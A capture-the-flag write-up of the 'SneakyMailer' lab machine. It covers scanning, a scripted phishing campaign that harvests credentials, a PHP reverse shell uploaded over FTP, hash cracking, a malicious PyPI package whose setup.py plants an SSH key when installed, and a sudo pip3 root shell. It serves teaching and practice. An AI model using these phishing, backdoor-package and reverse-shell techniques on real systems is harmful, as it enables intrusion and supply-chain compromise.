sneakymailer

SneakyMailer Writeup (Medium)

Summary

SneakyMailer is a medium difficulty Linux machine, which I found really interesting because of the “uncommon” techniques I will teach you here today. Its IP is 10.10.10.197. Let’s jump in!

Ports and services enumeration

As always, we will start enumerating the machine ports using masscan and nmap:

root@PwnedC0ffee:~# masscan -p1-65535,U:1-65535 10.10.10.197 --rate=1000 -e tun0

Starting masscan 1.0.5 (http://bit.ly/14GZzcT) at 2020-09-18 09:56:09 GMT
 -- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [131070 ports/host]
Discovered open port 21/tcp on 10.10.10.197                                    
Discovered open port 80/tcp on 10.10.10.197                                    
Discovered open port 993/tcp on 10.10.10.197                                   
Discovered open port 8080/tcp on 10.10.10.197                                  
Discovered open port 143/tcp on 10.10.10.197                                   
Discovered open port 25/tcp on 10.10.10.197                                    
Discovered open port 22/tcp on 10.10.10.197 
root@PwnedC0ffee:~# nmap -sV -sC -sT -O 10.10.10.197 -p 21,22,25,80,143,993,8080 
Starting Nmap 7.80 ( https://nmap.org ) at 2020-09-18 05:57 EDT
Nmap scan report for sneakycorp.htb (10.10.10.197)
Host is up (0.039s latency).

PORT     STATE SERVICE  VERSION
21/tcp   open  ftp      vsftpd 3.0.3
22/tcp   open  ssh      OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 57:c9:00:35:36:56:e6:6f:f6:de:86:40:b2:ee:3e:fd (RSA)
|   256 d8:21:23:28:1d:b8:30:46:e2:67:2d:59:65:f0:0a:05 (ECDSA)
|_  256 5e:4f:23:4e:d4:90:8e:e9:5e:89:74:b3:19:0c:fc:1a (ED25519)
25/tcp   open  smtp     Postfix smtpd
|_smtp-commands: debian, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8, CHUNKING, 
80/tcp   open  http     nginx 1.14.2
|_http-server-header: nginx/1.14.2
|_http-title: Employee - Dashboard
143/tcp  open  imap     Courier Imapd (released 2018)
|_imap-capabilities: THREAD=REFERENCES UTF8=ACCEPTA0001 NAMESPACE CAPABILITY IDLE OK CHILDREN ENABLE ACL2=UNION UIDPLUS STARTTLS QUOTA SORT IMAP4rev1 THREAD=ORDEREDSUBJECT ACL completed
| ssl-cert: Subject: commonName=localhost/organizationName=Courier Mail Server/stateOrProvinceName=NY/countryName=US
| Subject Alternative Name: email:postmaster@example.com
| Not valid before: 2020-05-14T17:14:21
|_Not valid after:  2021-05-14T17:14:21
|_ssl-date: TLS randomness does not represent time
993/tcp  open  ssl/imap Courier Imapd (released 2018)
|_imap-capabilities: AUTH=PLAIN THREAD=REFERENCES UTF8=ACCEPTA0001 NAMESPACE CAPABILITY IDLE OK CHILDREN ENABLE ACL2=UNION UIDPLUS QUOTA ACL IMAP4rev1 SORT THREAD=ORDEREDSUBJECT completed
| ssl-cert: Subject: commonName=localhost/organizationName=Courier Mail Server/stateOrProvinceName=NY/countryName=US
| Subject Alternative Name: email:postmaster@example.com
| Not valid before: 2020-05-14T17:14:21
|_Not valid after:  2021-05-14T17:14:21
|_ssl-date: TLS randomness does not represent time
8080/tcp open  http     nginx 1.14.2
|_http-open-proxy: Proxy might be redirecting requests
|_http-server-header: nginx/1.14.2
|_http-title: Welcome to nginx!

So we got two HTTP ports on 80 and 8080, SSH and FTP, a Postfix SMTP running on port 25 and two Courier IMAPd services on ports 143 and 993.

We will start enumerating the Web servers on ports 80 and 8080.

Web Enumeration

When we visit http://10.10.10.197, we get a 301 Redirection to sneakycorp.htb, so we add it to /etc/hosts.

root@PwnedC0ffee:~# cat /etc/hosts
127.0.0.1	localhost
127.0.1.1	PwnedC0ffee

# The following lines are desirable for IPv6 capable hosts
::1     localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters

10.10.10.197	sneakycorp.htb

Now we can go to http://sneakycorp.htb and see the webpage.

SneakyMailer web

If we click on “Team” we will see a table with a lot of emails from the SneakyMailer domain.

SneakyMailer team image

Fuzzing Subdomains

We now want to see if there is any other available subdomain for sneakycorp.htb.

root@PwnedC0ffee:~# ffuf -c -w /usr/share/wordlists/seclists/DNS/wordlists/subdomains-top1million-20000.txt -u http://sneakycorp.htb/ -H "Host: FUZZ.sneakycorp.htb" -fs 185

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v1.1.0
________________________________________________

 :: Method           : GET
 :: URL              : http://sneakycorp.htb/
 :: Wordlist         : FUZZ: /usr/share/wordlists/seclists/DNS/wordlists/subdomains-top1million-20000.txt
 :: Header           : Host: FUZZ.sneakycorp.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403
 :: Filter           : Response size: 185
________________________________________________

dev                     [Status: 200, Size: 13737, Words: 4007, Lines: 341]

Now we add dev.sneakycorp.htb to /etc/hosts and access to the URL, where we can see a new Registration form, but it does not work.

SneakyMailer web register image

Phishing Campaign

Since we have no more information, we are going to send phishing mails to every employee.

First of all, let’s check if we can send emails.

root@PwnedC0ffee:~# sendEmail -t airisatou@sneakymailer.htb -f it@sneakymailer.htb -s 10.10.10.197 -u "Subject: Test" -m "Hello!" -o tls=no
Sep 18 06:23:50 pwnedc0ffee sendEmail[2275]: Email was sent successfully!

Since we can send emails successfully, let’s try some phishing!

I made a Python script to collect every email from the team.php source code.

import sys

f = open('team.php','r')
lines = f.readlines()

out = open('emails.txt', 'w+')

for line in lines:
	if "@sneakymailer.htb" in line:
		start = line.index('<td>')
		end = line.index('</td>')
		email = line[start+4 : end]
		out.write(email+'\n')

f.close()
out.close()

Now we will start a nc listener on our machine and send a link to our IP to every employee on the list of emails.

root@PwnedC0ffee:~# nc -nlvp 1337
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::1337
Ncat: Listening on 0.0.0.0:1337
_
root@PwnedC0ffee:~# while read mail; do sendEmail -t $mail -f it@sneakymailer.htb -s 10.10.10.197 -u "Subject: Credentials" -m "goto http://10.10.14.13:1337" -o tls=no; done < emails.txt
Sep 18 06:29:52 pwnedc0ffee sendEmail[2454]: Email was sent successfully!
Sep 18 06:30:03 pwnedc0ffee sendEmail[2455]: Email was sent successfully!
Sep 18 06:30:13 pwnedc0ffee sendEmail[2457]: Email was sent successfully!
...
root@PwnedC0ffee:~# nc -nlvp 1337
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::1337
Ncat: Listening on 0.0.0.0:1337
Ncat: Connection from 10.10.10.197.
Ncat: Connection from 10.10.10.197:44038.
POST / HTTP/1.1
Host: 10.10.14.13:1337
User-Agent: python-requests/2.23.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Length: 185
Content-Type: application/x-www-form-urlencoded

firstName=Paul&lastName=Byrd&email=paulbyrd%40sneakymailer.htb&password=%5E%28%23J%40SkFv2%5B%25KhIxKk%28Ju%60hqcHl%3C%3AHt&rpassword=%5E%28%23J%40SkFv2%5B%25KhIxKk%28Ju%60hqcHl%3C%3AHt

Et voilà! The user Paul Byrd opened our email and sent its credentials! We can now decode them and get the password.

paulbyrd : ^(#J@SkFv2[%KhIxKk(Ju`hqcHl<:Ht

I know this part requires a bit of guessing. Our phishing attack has worked because there is an script sending credentials to every link Paul Byrd receives, trying to simulate a real phishing scene.

IMAP Enumeration

Now that we have paulbyrd’s password, let’s check the IMAP servers.

root@PwnedC0ffee:~# telnet sneakycorp.htb 143
Trying 10.10.10.197...
Connected to sneakycorp.htb.
Escape character is '^]'.
* OK [CAPABILITY IMAP4rev1 UIDPLUS CHILDREN NAMESPACE THREAD=ORDEREDSUBJECT THREAD=REFERENCES SORT QUOTA IDLE ACL ACL2=UNION STARTTLS ENABLE UTF8=ACCEPT] Courier-IMAP ready. Copyright 1998-2018 Double Precision, Inc.  See COPYING for distribution information.
> A1 LOGIN paulbyrd ^(#J@SkFv2[%KhIxKk(Ju`hqcHl<:Ht
* OK [ALERT] Filesystem notification initialization error -- contact your mail administrator (check for configuration errors with the FAM/Gamin library)
A1 OK LOGIN Ok.

We can log into the IMAP server! Let’s get some juicy info…

> A1 LIST "" *
* LIST (\Unmarked \HasChildren) "." "INBOX"
* LIST (\HasNoChildren) "." "INBOX.Trash"
* LIST (\HasNoChildren) "." "INBOX.Sent"
* LIST (\HasNoChildren) "." "INBOX.Deleted Items"
* LIST (\HasNoChildren) "." "INBOX.Sent Items"
A1 OK LIST completed
> A1 SELECT "INBOX.Sent Items"
* FLAGS (\Draft \Answered \Flagged \Deleted \Seen \Recent)
* OK [PERMANENTFLAGS (\* \Draft \Answered \Flagged \Deleted \Seen)] Limited
* 2 EXISTS
* 0 RECENT
* OK [UIDVALIDITY 589480766] Ok
* OK [MYRIGHTS "acdilrsw"] ACL
A1 OK [READ-WRITE] Ok
> A1 FETCH 1 body[text]
* 1 FETCH (BODY[TEXT] {1888}
--_21F4C0AC-AA5F-47F8-9F7F-7CB64B1169AD_
Content-Transfer-Encoding: quoted-printable
Content-Type: text/plain; charset="utf-8"

Hello administrator, I want to change this password for the developer accou=
nt

Username: developer
Original-Password: m^AsY7vTKVT+dV1{WOU%@NaHkUAId3]C

Please notify me when you do it=20

Hmm… Looks like we got another password! Paul is asking for a password reset, with the username developer. Let’s save it for later.

developer : m^AsY7vTKVT+dV1{WOU%@NaHkUAId3]C

>A1 FETCH 2 body[text]
* 2 FETCH (BODY[TEXT] {166}
Hello low


Your current task is to install, test and then erase every python module you 
find in our PyPI service, let me know if you have any inconvenience.

)
A1 OK FETCH completed.

It looks like “low” is another user, who will install, test and then erase every python module found in the PyPi service. Really interesting!

FTP Server

We have not forgotten about SneakyMailer FTP server! Let’s try to log in using the credentials we found for the user developer.

root@PwnedC0ffee:~# ftp sneakycorp.htb
Connected to sneakycorp.htb.
220 (vsFTPd 3.0.3)
Name (sneakycorp.htb:root): developer
331 Please specify the password.
Password:
230 Login successful.

Success! We can navigate to dev/ folder, where we can upload files. So let’s upload a PHP reverse shell (get it here) to obtain our first shell.

ftp> cd dev
250 Directory successfully changed.
ftp> binary
200 Switching to Binary mode.
ftp> put ./php-reverse-shell.php 
local: ./php-reverse-shell.php remote: ./php-reverse-shell.php
200 PORT command successful. Consider using PASV.
150 Ok to send data.
226 Transfer complete.
3461 bytes sent in 0.01 secs (377.9361 kB/s)

Start a nc listener and go to http://dev.sneakycorp.htb/php-reverse-shell.php

root@PwnedC0ffee:~# rlwrap nc -nlvp 9999
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::9999
Ncat: Listening on 0.0.0.0:9999
Ncat: Connection from 10.10.10.197.
Ncat: Connection from 10.10.10.197:42938.
Linux sneakymailer 4.19.0-9-amd64 #1 SMP Debian 4.19.118-2 (2020-04-29) x86_64 GNU/Linux
 07:20:08 up  1:43,  0 users,  load average: 0.00, 0.01, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data

Gotcha! We can now get a TTY using python.

$ python -c 'import pty; pty.spawn("/bin/bash")'
www-data@sneakymailer:/$ 

developer

If we cat /etc/passwd we will see several interesting users

root:x:0:0:root:/root:/bin/bash
low:x:1000:1000:,,,:/home/low:/bin/bash
developer:x:1001:1001:,,,:/var/www/dev.sneakycorp.htb:/bin/bash

We have credentials for developer, so let’s try some lateral escalation.

www-data@sneakymailer:/$ su developer
su developer
Password: m^AsY7vTKVT+dV1{WOU%@NaHkUAId3]C

developer@sneakymailer:/$ 

Success! Let’s enumerate directories.

developer@sneakymailer:/$ cd /var/www
developer@sneakymailer:/var/www$ ls
dev.sneakycorp.htb html pypi.sneakycorp.htb sneakycorp.htb

We can see several web directories. One of the, pypi.sneakycorp.htb remind us that user low will install and execute every package on PyPi server. Add it to /etc/hosts.

Let’s investigate!

PyPi Server

developer@sneakymailer:/var/www$ cd pypi.sneakycorp.htb
cd pypi.sneakycorp.htb
developer@sneakymailer:/var/www/pypi.sneakycorp.htb$ ls
packages venv
developer@sneakymailer:/var/www/pypi.sneakycorp.htb$ ls -la
total 20
drwxr-xr-x 4 root root 4096 May 15 14:29 .
drwxr-xr-x 6 root root 4096 May 14 18:25 ..
-rw-r--r-- 1 root root 43 May 15 14:29 .htpasswd
drwxrwx--- 2 root pypi-pkg 4096 Jun 30 02:24 packages
drwxr-xr-x 6 root pypi 4096 May 14 18:25 venv
developer@sneakymailer:/var/www/pypi.sneakycorp.htb$ cat .htpasswd
pypi:$apr1$RV5c5YVs$U9.OTqF5n8K4mxWpSSR/p/

We can crack the APR1 hash using hashcat.

root@PwnedC0ffee:~# man hashcat | grep apr1
       1600 = md5apr1, MD5(APR), Apache MD5
root@PwnedC0ffee:~# hashcat -m 1600 -a 0 hash.txt /usr/share/wordlists/rockyou.txt --force
...
$apr1$RV5c5YVs$U9.OTqF5n8K4mxWpSSR/p/:soufianeelhaoui

We can go now to http://pypi.sneakycorp.htb:8080 and we will see PyPiServer information.

PyPi web server SneakyMailer

If we go to /packages and use the cracked password, we will see that the repository contains no packages. So we now want to upload our own malicious package!

Uploading Malicious Package

Now it’s the time for some documentation reading about PyPiServer and Python packages:

We can upload a package using setuptools. Create a two files named .pypirc and setup.py.

.pypirc will define the repository where we want to upload our file:

[distutils] 
index-servers=local
[local] 
repository = http://pypi.sneakycorp.htb:8080
username =pypi
password =soufianeelhaoui

setup.py is the build script for setuptools. It contains the information about the package, and we can add our own code to be execute during building time.

So now we will upload a malicious package, which will be downloaded and installed by low user. What we want to do is to insert our RSA SSH keys into ~/.ssh/authorized_keys to log in via SSH.

So we generate our own SSH keys:

root@PwnedC0ffee:~# ssh-keygen
root@PwnedC0ffee:~# cat id_rsa.pub
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC8N5TC7CHVscT3ZCD1w11rGHcvPjXLgMtFQXPXIks5ORREWpb5/f4GC2tOozQ2Lwknf6CFeTDD5UUGBoc6FDQVYiTSh3BFgid4QcsDRrYBc0eqDoWtVwT18QObWjkEYcEd/XjCnCAJ62Hmba3dMyNGzvnslGIkL7Upwtuo6LmMs+nvoA371mYf5ZXDjenRzC+RYmIpmUgXpY11OwrMRRUmXYhIIBkIEx0b0TbtZ2IYT4Oh8jjeBhKyYW2gN1+IPQoNkwLS5twG6e79qprD2WtSGy/pT5Kd1vVGkIvs968jo/I5OkkiumuHqLowACuarxYL44WWNurbWC5TbZvMhj6YnCL4Ns7Bt0ADYZyVnmA/Dt0YQsMbi8dllwm+1cl6jO6jwosIRKsbbkVGrR14UfFhKyhdfV7CM14XSAeVw8hmZ5Cb6S9Iy+sP9Eq8s3iEq29CO3jlHNbGpGOFgBjSdeTCT3zgUzTCDlncoiGvEk415ghmyQaUIFrVInOpQwa91Ts= low@sneakymailer

And now we create the setup.py file:

import setuptools

try:
    with open('/home/low/.ssh/authorized_keys','w+') as f:
    	f.write("ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC8N5TC7CHVscT3ZCD1w11rGHcvPjXLgMtFQXPXIks5ORREWpb5/f4GC2tOozQ2Lwknf6CFeTDD5UUGBoc6FDQVYiTSh3BFgid4QcsDRrYBc0eqDoWtVwT18QObWjkEYcEd/XjCnCAJ62Hmba3dMyNGzvnslGIkL7Upwtuo6LmMs+nvoA371mYf5ZXDjenRzC+RYmIpmUgXpY11OwrMRRUmXYhIIBkIEx0b0TbtZ2IYT4Oh8jjeBhKyYW2gN1+IPQoNkwLS5twG6e79qprD2WtSGy/pT5Kd1vVGkIvs968jo/I5OkkiumuHqLowACuarxYL44WWNurbWC5TbZvMhj6YnCL4Ns7Bt0ADYZyVnmA/Dt0YQsMbi8dllwm+1cl6jO6jwosIRKsbbkVGrR14UfFhKyhdfV7CM14XSAeVw8hmZ5Cb6S9Iy+sP9Eq8s3iEq29CO3jlHNbGpGOFgBjSdeTCT3zgUzTCDlncoiGvEk415ghmyQaUIFrVInOpQwa91Ts= low@sneakymailer")
except Exception as e:
    pass	

setuptools.setup(
     name='evil',  
     version='0.1',
     scripts=[] ,
     author="evil",
     author_email="evil@evil.com",
     description="A Docker and AWS utility package",
     long_description="",
   long_description_content_type="text/markdown",
     url="",
     packages=setuptools.find_packages(),
     classifiers=[
         "Programming Language :: Python :: 3",
         "License :: OSI Approved :: MIT License",
         "Operating System :: OS Independent",
     ],
 )

We can now upload the package files to the victim machine using netcat, on a directory called /tmp/evil and upload the package to the PyPiServer:

developer@sneakymailer:~$ pwd
/tmp/evil
developer@sneakymailer:~$ chmod 600 .pypirc
developer@sneakymailer:~$ chmod 7777 setup.py
developer@sneakymailer:~$ HOME=$(pwd)
developer@sneakymailer:~$ python3 setup.py sdist register -r local upload -r local
running sdist
running egg_info
writing evil.egg-info/PKG-INFO
writing dependency_links to evil.egg-info/dependency_links.txt
writing top-level names to evil.egg-info/top_level.txt
reading manifest file 'evil.egg-info/SOURCES.txt'
writing manifest file 'evil.egg-info/SOURCES.txt'
warning: sdist: standard file not found: should have one of README, README.rst, README.txt, README.md

running check
warning: check: missing required meta-data: url

creating evil-0.1
creating evil-0.1/evil.egg-info
copying files to evil-0.1...
copying setup.py -> evil-0.1
copying evil.egg-info/PKG-INFO -> evil-0.1/evil.egg-info
copying evil.egg-info/SOURCES.txt -> evil-0.1/evil.egg-info
copying evil.egg-info/dependency_links.txt -> evil-0.1/evil.egg-info
copying evil.egg-info/top_level.txt -> evil-0.1/evil.egg-info
Writing evil-0.1/setup.cfg
Creating tar archive
removing 'evil-0.1' (and everything under it)
running register
Registering evil to http://pypi.sneakycorp.htb:8080
Server response (200): OK
WARNING: Registering is deprecated, use twine to upload instead (https://pypi.org/p/twine/)
running upload
Submitting dist/evil-0.1.tar.gz to http://pypi.sneakycorp.htb:8080
Server response (200): OK

The package has been uploaded. If the information we got from the IMAP server was correct, the user low has now downloaded and installed the packages, writing our SSH key on ~/.ssh/authorized_hosts. So we can now SSH into the server.

root@PwnedC0ffee:~# ssh -i id_rsa low@10.10.10.197
Linux sneakymailer 4.19.0-9-amd64 #1 SMP Debian 4.19.118-2 (2020-04-29) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
No mail.
Last login: Tue Jun  9 03:02:52 2020 from 192.168.56.105
low@sneakymailer:~$ 

Got it! We can now read the flag at /home/low/user.txt.

Easy Root!

If we run sudo -l we will see that we can run /usr/bin/pip3 as root, without prompting for password.

low@sneakymailer:~$ sudo -l
sudo: unable to resolve host sneakymailer: Temporary failure in name resolution
Matching Defaults entries for low on sneakymailer:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User low may run the following commands on sneakymailer:
    (root) NOPASSWD: /usr/bin/pip3

On GTFObins we can see an easy way to obtain a shell using the pip command.

low@sneakymailer:~$ TF=$(mktemp -d)
low@sneakymailer:~$ echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
low@sneakymailer:~$ sudo /usr/bin/pip3 install $TF
sudo: unable to resolve host sneakymailer: Temporary failure in name resolution
Processing /tmp/tmp.JWv9Q1OD2r
# whoami
root

Hope you enjoyed SneakyMailer as much as I did!